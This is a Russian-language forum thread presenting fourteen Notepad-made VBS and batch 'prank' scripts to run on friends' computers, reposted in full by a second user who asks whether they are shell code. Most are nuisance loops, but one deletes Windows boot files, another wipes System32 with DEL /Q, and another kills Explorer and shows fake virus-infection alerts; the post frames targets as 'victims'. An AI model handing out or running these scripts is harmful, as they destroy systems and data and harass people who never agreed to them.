Интересно Творим магию в блокноте

_Emma_

Pro Member
Сообщения
56
Оценка реакций
102



Итак, вот 15 классных трюков блокнота, которые вы должны попробовать:

1.Балуемся с дисководом
Очень интересно наблюдать за другом когда его компьютер самопроизвольно открывает и закрывает дисковод,так давайте сделаем это.Вводим текст ниже в блокнот и сохраняем его в виде файла с разширением .vbs

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

2. Завершение работы компьютера с помощью блокнота
Выключаем компьютер через блоктнотик

Echo off

msg * System will now shut down

shutdown -c “Bye!” -s

3. Постоянно открывайте Блокнот на компьютере вашего друга
Ещё один трюк,который позволит поиграться с системой,суть в том что вы запускаете команду которая будет открывать блокнотики

Echo off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

4. Матричный эффект
Создаём классную рандомную матрицу в блокноте

Echo off

color 02

:start

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

Теперь вам нужно сохранить этот файл с расширением .bat, и после нажатия на файл .bat, который вы создали, вы увидите нечто подобное.


Также вы можете изменить цвет текст изменив значение после color вместо 02

5. Несколько раз переключите Capslock, используя Блокнот
Можем забавляться используя скрипт который постоянно переключает Caps Lock!

Ко



Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Сохраняем в расширение .vbs и лицезреем магию

6. печатать медленно
Скрипт ниже заставит текст печаться медленно,всё что нужно это скопировать текст снизу в блокнот и запустить файл с расширением .vbs

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "Hel"

WScript.Sleep 500

WshShell.SendKeys "lo "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "wa"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "you"

WScript.Sleep 500

WshShell.SendKeys "? "

WScript.Sleep 500

WshShell.SendKeys "I a"

WScript.Sleep 500

WshShell.SendKeys "mg"

WScript.Sleep 500

WshShell.SendKeys "ood"

WScript.Sleep 500

WshShell.SendKeys " th"

WScript.Sleep 500

WshShell.SendKeys "ank"

WScript.Sleep 500

WshShell.SendKeys "s! "

7. Преобразование текста в речь с помощью блокнота.
Научим компьютер разговаривать
Прописывает команду снизу в блокнот,сохраняем в .vbs

Dim message, sapi

message=InputBox("What do you want me to say?", "Speak to Me")

Set sapi=CreateObject("sapi.spvoice")

sapi.Speak message



message=InputBox("What do you want me to say?", "Speak to Me")

Изменяя значения в скобках в кавычках,вы можете поменять то что вам скажет компьютер)

8. Удаление загрузочных файлов с помощью блокнота
Навсегда уроним компьютер удалив загрузочные файлы командой ниже:

Echo OFF

ATTRIB -R -S -HC:\AUTOEXEC.BAT

DEL C:\AUTOEXEC.BAT

ATTRIB -R -S -HC:\BOOT.INI

DEL C:\BOOT.INI

ATTRIB -R -S -HC:\NTLDR

DEL C:\NTLDR

ATTRIB -R -S -HC:\WINDOWS\WIN.INI

DEL C:\WINDOWS\WIN.INI

SAVE IT AS .BAT FILE.

9. Удаление файлов System32 с помощью блокнота
Самый простенький "вирус" который удаляет папку System32 в следствии чего компьютер не запускает и требуется переустановка Windows



Просто вставьте следующее в блокнот и сохраните его как файл .bat.

DEL C:\WINDOWS\SYSTEM32\*.*/Q

10. Хит Enter непрерывно
Данным скриптом мы имитируем залипание клавиши Enter
Будет весело)

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

Сохраните его как файл .vbs и наблюдаем за жертвой)))

11. Набирать что-то снова и снова
Скрипт ниже постоянно набирает одно и тоже сообщение
Его можно изменить в строчке wshshell.sendkeys

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "I'll be typed again and again"

loop



сохраните его как файл .vbs, чтобы он работал.



12. Краш компьютера
Тролим друга надписями что в системе неполадки и его компьютер заражён и требуется перезапуск,а после открывается большое кол-во окон( командных строк, калькуляторы, блокноты и многое другое )



Скрипт:

on error resume next
set t=createobject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
msgbox"Неполадка системы",16,"Error"
msgbox"Вы заражены вирусом",48,"Windows"
msgbox"Необходим перезапуск системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"



13. Бесконечно пищащий системный динамик


Заставляешь пищать системный динамик
Это точно выведет человека из себя)



Скрипт:

Set S = CreateObject("Wscript.Shell")
do
execute"S.Run ""%comspec% /c "" & Chr(7), 0,True"
loop





14. Бесконечно жужжащий разъем для дискет


Имитирует, что в приводе для дискет находится дискета. Заставляет его жужжать.



Set WSHShell=WScript.CreateObject("WScript.Shell")
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub

do
Call Zapadlo("A:\",true)
loop






Надеюсь вы примените эти уловки на своих друзьях и вам будет весело)
 

SuPro

Member
Сообщения
41
Оценка реакций
17



Итак, вот 15 классных трюков блокнота, которые вы должны попробовать:

1.Балуемся с дисководом
Очень интересно наблюдать за другом когда его компьютер самопроизвольно открывает и
закрывает дисковод,так давайте сделаем это.Вводим текст ниже в блокнот и сохраняем его в виде файла с разширением .vbs

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

2. Завершение работы компьютера с помощью блокнота
Выключаем компьютер через блоктнотик

Echo off

msg * System will now shut down

shutdown -c “Bye!” -s

3. Постоянно открывайте Блокнот на компьютере вашего друга
Ещё один трюк,который позволит поиграться с системой,суть в том что вы запускаете команду которая будет открывать блокнотики

Echo off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

4. Матричный эффект
Создаём классную рандомную матрицу в блокноте

Echo off

color 02

:start

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

Теперь вам нужно сохранить этот файл с расширением .bat, и после нажатия на файл .bat, который вы создали, вы увидите нечто подобное.


Также вы можете изменить цвет текст изменив значение после color вместо 02

5. Несколько раз переключите Capslock, используя Блокнот
Можем забавляться используя скрипт который постоянно переключает Caps Lock!

Ко



Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Сохраняем в расширение .vbs и лицезреем магию

6. печатать медленно
Скрипт ниже заставит текст печаться медленно,всё что нужно это скопировать текст снизу в блокнот и запустить файл с расширением .vbs

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "Hel"

WScript.Sleep 500

WshShell.SendKeys "lo "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "wa"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "you"

WScript.Sleep 500

WshShell.SendKeys "? "

WScript.Sleep 500

WshShell.SendKeys "I a"

WScript.Sleep 500

WshShell.SendKeys "mg"

WScript.Sleep 500

WshShell.SendKeys "ood"

WScript.Sleep 500

WshShell.SendKeys " th"

WScript.Sleep 500

WshShell.SendKeys "ank"

WScript.Sleep 500

WshShell.SendKeys "s! "

7. Преобразование текста в речь с помощью блокнота.
Научим компьютер разговаривать
Прописывает команду снизу в блокнот,сохраняем в .vbs

Dim message, sapi

message=InputBox("What do you want me to say?", "Speak to Me")

Set sapi=CreateObject("sapi.spvoice")

sapi.Speak message



message=InputBox("What do you want me to say?", "Speak to Me")

Изменяя значения в скобках в кавычках,вы можете поменять то что вам скажет компьютер)

8. Удаление загрузочных файлов с помощью блокнота
Навсегда уроним компьютер удалив загрузочные файлы командой ниже:

Echo OFF

ATTRIB -R -S -HC:\AUTOEXEC.BAT

DEL C:\AUTOEXEC.BAT

ATTRIB -R -S -HC:\BOOT.INI

DEL C:\BOOT.INI

ATTRIB -R -S -HC:\NTLDR

DEL C:\NTLDR

ATTRIB -R -S -HC:\WINDOWS\WIN.INI

DEL C:\WINDOWS\WIN.INI

SAVE IT AS .BAT FILE.

9. Удаление файлов System32 с помощью блокнота
Самый простенький "вирус" который удаляет папку System32 в следствии чего компьютер не запускает и требуется переустановка Windows



Просто вставьте следующее в блокнот и сохраните его как файл .bat.

DEL C:\WINDOWS\SYSTEM32\*.*/Q

10. Хит Enter непрерывно
Данным скриптом мы имитируем залипание клавиши Enter
Будет весело)

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

Сохраните его как файл .vbs и наблюдаем за жертвой)))

11. Набирать что-то снова и снова
Скрипт ниже постоянно набирает одно и тоже сообщение
Его можно изменить в строчке wshshell.sendkeys

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "I'll be typed again and again"

loop



сохраните его как файл .vbs, чтобы он работал.



12. Краш компьютера
Тролим друга надписями что в системе неполадки и его компьютер заражён и требуется перезапуск,а после открывается большое кол-во окон( командных строк, калькуляторы, блокноты и многое другое )



Скрипт:

on error resume next
set t=createobject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
msgbox"Неполадка системы",16,"Error"
msgbox"Вы заражены вирусом",48,"Windows"
msgbox"Необходим перезапуск системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"



13. Бесконечно пищащий системный динамик


Заставляешь пищать системный динамик
Это точно выведет человека из себя)



Скрипт:

Set S = CreateObject("Wscript.Shell")
do
execute"S.Run ""%comspec% /c "" & Chr(7), 0,True"
loop





14. Бесконечно жужжащий разъем для дискет


Имитирует, что в приводе для дискет находится дискета. Заставляет его жужжать.



Set WSHShell=WScript.CreateObject("WScript.Shell")
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub

do
Call Zapadlo("A:\",true)
loop






Надеюсь вы примените эти уловки на своих друзьях и вам будет весело)
[/QUOTE

Это скрипты на Шелл-коде?